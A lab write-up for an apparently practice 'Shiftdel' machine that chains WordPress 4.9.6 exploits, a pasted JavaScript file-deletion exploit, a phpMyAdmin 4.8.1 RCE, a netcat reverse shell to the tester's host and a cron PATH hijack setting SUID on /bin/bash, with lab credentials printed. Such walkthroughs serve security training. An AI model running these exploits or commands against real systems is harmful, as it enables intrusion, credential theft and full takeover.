Summary #
Get initial access using the provided credentials or exploit a Wordpress site on port 80 called Shiftdel
. Using an unauthenticated exploit to view Password/Private Posts (CVE-2019-17671), we get the password of a Wordpress user called intern
. This version of Wordpress 4.9.6 is vulnerable for a authenticated arbitrary file deletion, which we’ll abuse to delete .htaccess
and are now able to download wp-config.php
. This PHP file contains credentials for a wordpress
user that can access phpMyAdmin. Once logged in the phpMyAdmin application, we abuse an RCE exploit (CVE-2018-12613) to get code execution and initial access as the www-data
user. Using pspy64
we see the root
user running a command, every 5 minutes, in a directory under control of the www-data
user. Abusing a misconfiguration in absolute and relative paths/references we can escalate our privileges to the root
user.
Specifications #
- Name: SHIFTDEL
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- System overview: Linux shiftdel 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64 GNU/Linux
- IP address: 192.168.131.174
- OFFSEC provided credentials:
tobias:WoefulBrahmaLet393
- HASH:
local.txt
:ac5ef1e7dc25ec3fcee2d6a7c59562ab
- HASH:
proof.txt
:d58573c82385208ed3f762ada8582928
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir shiftdel && cd shiftdel && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Aug 31 12:48 .
drwxrwxr-x 51 kali kali 4096 Aug 31 12:48 ..
drwxrwxr-x 2 kali kali 4096 Aug 31 12:48 enum
drwxrwxr-x 2 kali kali 4096 Aug 31 12:48 exploits
drwxrwxr-x 2 kali kali 4096 Aug 31 12:48 files
drwxrwxr-x 2 kali kali 4096 Aug 31 12:48 tools
drwxrwxr-x 2 kali kali 4096 Aug 31 12:48 uploads
## set bash variable
ip=192.168.131.174
## ping target to check if it's online
ping $ip
PING 192.168.131.174 (192.168.131.174) 56(84) bytes of data.
64 bytes from 192.168.131.174: icmp_seq=1 ttl=61 time=19.5 ms
64 bytes from 192.168.131.174: icmp_seq=2 ttl=61 time=20.6 ms
^C
--- 192.168.131.174 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1004ms
rtt min/avg/max/mdev = 19.500/20.063/20.626/0.563 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
You miss 100% of the ports you don't scan. - RustScan
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.131.174:22
Open 192.168.131.174:80
Open 192.168.131.174:8888
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-31 12:49 CEST
Initiating Ping Scan at 12:49
Scanning 192.168.131.174 [4 ports]
Completed Ping Scan at 12:49, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:49
Completed Parallel DNS resolution of 1 host. at 12:49, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 12:49
Scanning 192.168.131.174 [3 ports]
Discovered open port 22/tcp on 192.168.131.174
Discovered open port 80/tcp on 192.168.131.174
Discovered open port 8888/tcp on 192.168.131.174
Completed SYN Stealth Scan at 12:49, 0.05s elapsed (3 total ports)
Nmap scan report for 192.168.131.174
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-08-31 12:49:27 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
8888/tcp open sun-answerbook syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
Raw packets sent: 7 (284B) | Rcvd: 4 (160B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the `files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
8888/tcp open sun-answerbook syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,80,8888
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,8888 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGGcX/x/M6J7Y0V8EeUt0FqceuxieEOe2fUH2RsY3XiSxByQWNQi+XSrFElrfjdR2sgnauIWWhWibfD+kTmSP5gkFcaoSsLtgfMP/2G8yuxPSev+9o1N18gZchJneakItNTaz1ltG1W//qJPZDHmkDneyv798f9ZdXBzidtR5/+2ArZd64bldUxx0irH0lNcf+ICuVlhOZyXGvSx/ceMCRozZrW2JQU+WLvs49gC78zZgvN+wrAZ/3s8gKPOIPobN3ObVSkZ+zngt0Xg/Zl11LLAbyWX7TupAt6lTYOvCSwNVZURyB1dDdjlMAXqT/Ncr4LbP+tvsiI1BKlqxx4I2r
| 256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCpAb2jUKovAahxmPX9l95Pq9YWgXfIgDJw0obIpOjOkdP3b0ukm/mrTNgX2lg1mQBMlS3lzmQmxeyHGg9+xuJA=
| 256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0omUJRIaMtPNYa4CKBC+XUzVyZsJ1QwsksjpA/6Ml+
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.38 ((Debian))
|_http-title: Shiftdel
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-generator: WordPress 4.9.6
|_http-server-header: Apache/2.4.38 (Debian)
8888/tcp open http syn-ack ttl 61 Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-favicon: Unknown favicon MD5: 531B63A51234BB06C9D77F219EB25553
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: phpMyAdmin
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
Initial Access: path 1 #
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGGcX/x/M6J7Y0V8EeUt0FqceuxieEOe2fUH2RsY3XiSxByQWNQi+XSrFElrfjdR2sgnauIWWhWibfD+kTmSP5gkFcaoSsLtgfMP/2G8yuxPSev+9o1N18gZchJneakItNTaz1ltG1W//qJPZDHmkDneyv798f9ZdXBzidtR5/+2ArZd64bldUxx0irH0lNcf+ICuVlhOZyXGvSx/ceMCRozZrW2JQU+WLvs49gC78zZgvN+wrAZ/3s8gKPOIPobN3ObVSkZ+zngt0Xg/Zl11LLAbyWX7TupAt6lTYOvCSwNVZURyB1dDdjlMAXqT/Ncr4LbP+tvsiI1BKlqxx4I2r
| 256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCpAb2jUKovAahxmPX9l95Pq9YWgXfIgDJw0obIpOjOkdP3b0ukm/mrTNgX2lg1mQBMlS3lzmQmxeyHGg9+xuJA=
| 256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0omUJRIaMtPNYa4CKBC+XUzVyZsJ1QwsksjpA/6Ml+
Because we got credentials (tobias:WoefulBrahmaLet393
) from OFFSEC we first try to login using SSH on TCP port 22. Connect with the following command and paste the password when asked. Once logged in we find in the root folder of the tobias
user the local.txt
file.
## login using SSH with provided credentials: `tobias:WoefulBrahmaLet393`
ssh tobias@$ip
The authenticity of host '192.168.131.174 (192.168.131.174)' can't be established.
ED25519 key fingerprint is SHA256:mqPCrimr9j626KOGoHM+qxgHUOYD4pu1+4KzhIvu5uA.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:45: [hashed name]
~/.ssh/known_hosts:68: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.131.174' (ED25519) to the list of known hosts.
tobias@192.168.131.174's password:
Linux shiftdel 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
$
## print current working directory
$ pwd
/home/tobias
## list content current directory
$ ls -la
total 24
drwxr-xr-x 2 tobias tobias 4096 Oct 25 2021 .
drwxr-xr-x 3 root root 4096 Oct 25 2021 ..
lrwxrwxrwx 1 root root 9 Oct 25 2021 .bash_history -> /dev/null
-rw-r--r-- 1 tobias tobias 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 tobias tobias 3526 Apr 18 2019 .bashrc
-rw-r--r-- 1 tobias tobias 33 Aug 31 06:45 local.txt
-rw-r--r-- 1 tobias tobias 807 Apr 18 2019 .profile
## print `local.txt`
$ cat local.txt
ac5ef1e7dc25ec3fcee2d6a7c59562ab
Initial Access: path 2 #
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.38 ((Debian))
|_http-title: Shiftdel
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-generator: WordPress 4.9.6
|_http-server-header: Apache/2.4.38 (Debian)
8888/tcp open http syn-ack ttl 61 Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-favicon: Unknown favicon MD5: 531B63A51234BB06C9D77F219EB25553
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: phpMyAdmin
On port 80 there is a website called Shiftdel
and it looks a lot like a Wordpress website. When we press CTRL+U in the browser (or right-click and select View page source
), we can inspect the source code. Indeed, there are a lot of wp-
directory references.

So, let’s run a wpscan
scan to get more details on the Wordpress installation.
## run wpscan
wpscan --url http://$ip -e u,vp --plugins-detection aggressive
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.28
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://192.168.131.174/ [192.168.131.174]
[+] Started: Sun Aug 31 12:58:48 2025
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.38 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] WordPress readme found: http://192.168.131.174/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://192.168.131.174/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.131.174/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.9.6 identified (Insecure, released on 2018-05-17).
| Found By: Emoji Settings (Passive Detection)
| - http://192.168.131.174/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.6'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.131.174/, Match: 'WordPress 4.9.6'
[+] WordPress theme in use: twentyfifteen
| Location: http://192.168.131.174/wp-content/themes/twentyfifteen/
| Last Updated: 2025-04-15T00:00:00.000Z
| Readme: http://192.168.131.174/wp-content/themes/twentyfifteen/readme.txt
| [!] The version is out of date, the latest version is 4.0
| Style URL: http://192.168.131.174/wp-content/themes/twentyfifteen/style.css?ver=4.9.6
| Style Name: Twenty Fifteen
| Style URI: https://wordpress.org/themes/twentyfifteen/
| Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, st...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 2.0 (80% confidence)
| Found By: Style (Passive Detection)
| - http://192.168.131.174/wp-content/themes/twentyfifteen/style.css?ver=4.9.6, Match: 'Version: 2.0'
[+] Enumerating Vulnerable Plugins (via Aggressive Methods)
Checking Known Locations - Time: 00:00:35 <===============================================> (7343 / 7343) 100.00% Time: 00:00:35
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] No plugins Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <===================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] admin
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] intern
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sun Aug 31 12:59:28 2025
[+] Requests Done: 7368
[+] Cached Requests: 35
[+] Data Sent: 1.979 MB
[+] Data Received: 1.014 MB
[+] Memory used: 245.32 MB
[+] Elapsed time: 00:00:39
We find that it’s Wordpress 4.9.6
and identified users are: admin
and intern
. Using searchsploit, we can find exploit for WordPress Core < 5.2.3, Viewing Unauthenticated/Password/Private Posts (CVE-2019-17671), https://www.exploit-db.com/exploits/47690. The exploit talks about when adding ?static=1
and ordering the Wordpress URL should leak its secret content.
## using searchsploit to find an exploit
searchsploit wordpress
----------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------- ---------------------------------
<SNIP>
WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts | multiple/webapps/47690.md
<SNIP>
When we alter the given example translated to our context and browse to this URL: http://192.168.131.174/?static=1&order=asc
we indeed get a private post with a password: IntraPersonalVision349
.

Perhaps we can use this password IntraPersonalVision349
for the user admin
or intern
. Let’s go to the default login page of Wordpress: http://192.168.131.174/wp-admin
. We can indeed login using these credentials: intern:IntraPersonalVision349
.
Using searchsploit there is an arbitrary file deletion exploit available for Wordpress version 4.9.6 or lower.
## using searchsploit to find an exploit for `Wordpress 4.9.6`
searchsploit Wordpress 4.9.6
----------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------- ---------------------------------
NEX-Forms WordPress plugin < 7.9.7 - Authenticated SQLi | php/webapps/51042.txt
Wordpress 4.9.6 - Arbitrary File Deletion (Authenticated) (2) | php/webapps/50456.js
WordPress Core < 4.9.6 - (Authenticated) Arbitrary File Deletion | php/webapps/44949.txt
WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts | multiple/webapps/47690.md
WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service | php/dos/47800.py
WordPress File Upload Plugin < 4.23.3 - Stored XSS | php/webapps/51899.txt
WordPress Plugin Database Backup < 5.2 - Remote Code Execution (Metasploit) | php/remote/47187.rb
WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities | php/webapps/39553.txt
WordPress Plugin EZ SQL Reports < 4.11.37 - Multiple Vulnerabilities | php/webapps/38176.txt
WordPress Plugin iThemes Security < 7.0.3 - SQL Injection | php/webapps/44943.txt
WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection | php/webapps/48918.sh
WordPress Plugin User Role Editor < 4.25 - Privilege Escalation | php/webapps/44595.rb
WordPress Plugin Userpro < 4.9.17.1 - Authentication Bypass | php/webapps/43117.txt
WordPress Plugin UserPro < 4.9.21 - User Registration Privilege Escalation | php/webapps/46083.txt
----------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Reading up on this exploit https://www.exploit-db.com/exploits/50456, we need to have privileges of an author. We do, because we can add new media. First we need to download an image.
## change directory
cd files
## download a image
wget https://www.exploit-db.com/images/edb-logo.png
Then navigate to Media / Add New / Select Files
, select the downloaded edb-logo.png
file and click Open
.

Now, switch viewmode to list
by click on this icon below.

Hover over the image and select Edit
.

Now go to the developer console (press F12 in the browser or select), and paste the javascript text below. Just copy / paste and press enter.
function unlink_thumb(thumb) {
$nonce_id = document.getElementById("_wpnonce").value
if (thumb == null) {
console.log("specify a file to delete")
return false
}
if ($nonce_id == null) {
console.log("the nonce id is not found")
return false
}
fetch(window.location.href.replace("&action=edit",""),
{
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: "action=editattachment&_wpnonce=" + $nonce_id + "&thumb=" + thumb
})
.then(function(resp0) {
if (resp0.redirected) {
$del = document.getElementsByClassName("submitdelete deletion").item(0).href
if ($del == null) {
console.log("Unknown error: could not find the url action")
return false
}
fetch($del,
{
method: 'GET',
credentials: 'include'
}).then(function(resp1) {
if (resp1.redirected) {
console.log("Arbitrary file deletion of " + thumb + " succeed!")
return true
} else {
console.log("Arbitrary file deletion of " + thumb + " failed!")
return false
}
})
} else {
console.log("Arbitrary file deletion of " + thumb + " failed!")
return false
}
})
}
Now let’s delete the .htaccess
file, by pasting this code: unlink_thumb("../../../../.htaccess")
and press enter.

It should say: Arbitrary file deletion of ../../../../.htaccess succeed!
. By deleting this file we can read configuration files from the web application. In our case we download wp-config.php
to get credentials of the wordpress
user: wordpress:ThinnerATheWaistline348
.
## download `wp-config.php`
curl http://192.168.131.174/wp-config.php
<?php
<SNIP>
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'wordpress');
/** MySQL database password */
define('DB_PASSWORD', 'ThinnerATheWaistline348');
/** MySQL hostname */
define('DB_HOST', 'localhost');
<SNIP>
These credentials are probably for the phpMyAdmin application running on port 8888 as shown in the NMAP output. Go to this URL http://192.168.131.174:8888/
and use the found credentials (wordpress:ThinnerATheWaistline348
).

We are now logged in phpMyAdmin. Click on the question mark in the upper left corner, to see the version of the phpMyAdmin application.

Its version 4.8.1
. With searchsploit we can find an RCE exploit (CVE-2018-12613) for this version of the application. Running this RCE exploit indeed gives us remote command execution, so let’s get initial access as the www-data
user in the /usr/share/phpmyadmin
directory.
## change directory
cd exploits
## use searchsploit to find exploit for `phpMyAdmin 4.8.1`
searchsploit phpmyadmin
----------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------- ---------------------------------
<SNIP>
phpMyAdmin 4.8.1 - Remote Code Execution (RCE) | php/webapps/50457.py
<SNIP>
----------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
## download the exploit
searchsploit -m php/webapps/50457.py
Exploit: phpMyAdmin 4.8.1 - Remote Code Execution (RCE)
URL: https://www.exploit-db.com/exploits/50457
Path: /usr/share/exploitdb/exploits/php/webapps/50457.py
Codes: CVE-2018-12613
Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/hk/offsec/pg/practice/shiftdel/exploits/50457.py
## run the exploit
python3 50457.py 192.168.131.174 8888 / wordpress ThinnerATheWaistline348 id
<SNIP>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
## get the local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::7cf9:4a9c:d305:d9cb/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...
## run the exploit
python3 50457.py 192.168.131.174 8888 / wordpress ThinnerATheWaistline348 'nc 192.168.45.204 9001 -e /bin/bash'
## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.131.174] 46776
## print the current user
whoami
www-data
## print the current working directory
pwd
/usr/share/phpmyadmin
## find `local.txt` on the filesystem
find / -iname 'local.txt' 2>/dev/null
/home/tobias/local.txt
## print `local.txt`
cat /home/tobias/local.txt
ac5ef1e7dc25ec3fcee2d6a7c59562ab
Privilege Escalation #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
www-data@shiftdel:/usr/share/phpmyadmin$ export TERM=xterm
www-data@shiftdel:/usr/share/phpmyadmin$ stty columns 200 rows 200
Uploading and running linpeas.sh
doesn’t bring much. Let’s run pspy64
to see what’s running on the target. Download and upload pspy to the target and run it to see if there are processes running that we can abuse. Go to: https://github.com/DominicBreuker/pspy, click on releases
and select pspy64
. Move the file to the uploads directory, startup a local webserver and on the target, download pspy64 and run it.
## change directory
cd uploads
## move the file from the local downloads directory to the uploads directory
mv ~/Downloads/pspy64 .
## get the local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::7cf9:4a9c:d305:d9cb/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## start a local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on the target
## change directory
www-data@shiftdel:/usr/share/phpmyadmin$ cd /var/tmp
www-data@shiftdel:/var/tmp$
## download pspy64 using wget
www-data@shiftdel:/var/tmp$ wget http://192.168.45.204/pspy64
--2025-08-31 12:58:06-- http://192.168.45.204/pspy64
Connecting to 192.168.45.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'
pspy64 0%[ pspy64 36%[=======================================> pspy64 75%[==========================================================================pspy64 100%[=============================================================================================================>] 2.96M 5.25MB/s in 0.6s
2025-08-31 12:58:07 (5.25 MB/s) - 'pspy64' saved [3104768/3104768]
## set execution bit
www-data@shiftdel:/var/tmp$ chmod +x pspy64
## run pspy64
www-data@shiftdel:/var/tmp$ ./pspy64
The output of pspy64 shows the root
user (UID=0) runs this command every 5 minutes: /bin/sh -c /usr/bin/find . -type f -not -regex '.*\.\(jpg\|jpeg\|png\|gif\)' -exec bash -c "rm -f {}" \;
.
## output `pspy64`
www-data@shiftdel:/var/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
<SNIP>
2025/08/31 13:00:01 CMD: UID=0 PID=2277 | /bin/sh -c /usr/bin/find . -type f -not -regex '.*\.\(jpg\|jpeg\|png\|gif\)' -exec bash -c "rm -f {}" \;
<SNIP>
## search `/etc` directory for this cronjob
www-data@shiftdel:/var/tmp$ grep -Ri '/usr/bin/find' /etc 2>/dev/null
/etc/cron.d/wpclean:*/5 * * * * root /usr/bin/find . -type f -not -regex '.*\.\(jpg\|jpeg\|png\|gif\)' -exec bash -c "rm -f {}" \;
## print `/etc/cron.d/wpclean`
www-data@shiftdel:/var/tmp$ cat /etc/cron.d/wpclean
# /etc/cron.d/wpclean: crontab entries to cleanup wordpress uploads folder
HOME=/var/www/html/wordpress/wp-content/uploads
PATH=~/bin:/usr/bin:/bin
# in case the intern do something silly, delete all files with invalid image extension
*/5 * * * * root /usr/bin/find . -type f -not -regex '.*\.\(jpg\|jpeg\|png\|gif\)' -exec bash -c "rm -f {}" \;
Apparently, this job is run from /etc/cron.d/wpclean
. The HOME
directory where this command runs is: /var/www/html/wordpress/wp-content/uploads
. Since the rm
command didn’t use a absolute path, we can abuse this, because the ~/bin
PATH is relative to the HOME
. Because we are the www-data
user we control all directories/files. Let’s create a bin
directory, in which we’ll make a own rm
command. This command will set the SUID bit on /bin/bash
. Once set we can escalate our privileges to the root
user after max 5 minutes of waiting.
## make directory `bin` in the HOME directory `/var/www/html/wordpress/wp-content/uploads/`
mkdir /var/www/html/wordpress/wp-content/uploads/bin
## make the custom `rm` command setting SUID on `/bin/bash` and set the execution bit
echo "chmod +s /bin/bash" > /var/www/html/wordpress/wp-content/uploads/bin/rm && chmod +x /var/www/html/wordpress/wp-content/uploads/bin/rm
## verify the set permissions
www-data@shiftdel:/var/tmp$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash
## escalate privilege using the `bash` binary
www-data@shiftdel:/var/tmp$ /bin/bash -p
bash-5.0#
## print `proof.txt`
bash-5.0# cat /root/proof.txt
d58573c82385208ed3f762ada8582928
References #
[+] https://www.exploit-db.com/exploits/47690
[+] https://www.exploit-db.com/exploits/50456
[+] https://www.exploit-db.com/exploits/50457
[+] https://github.com/DominicBreuker/pspy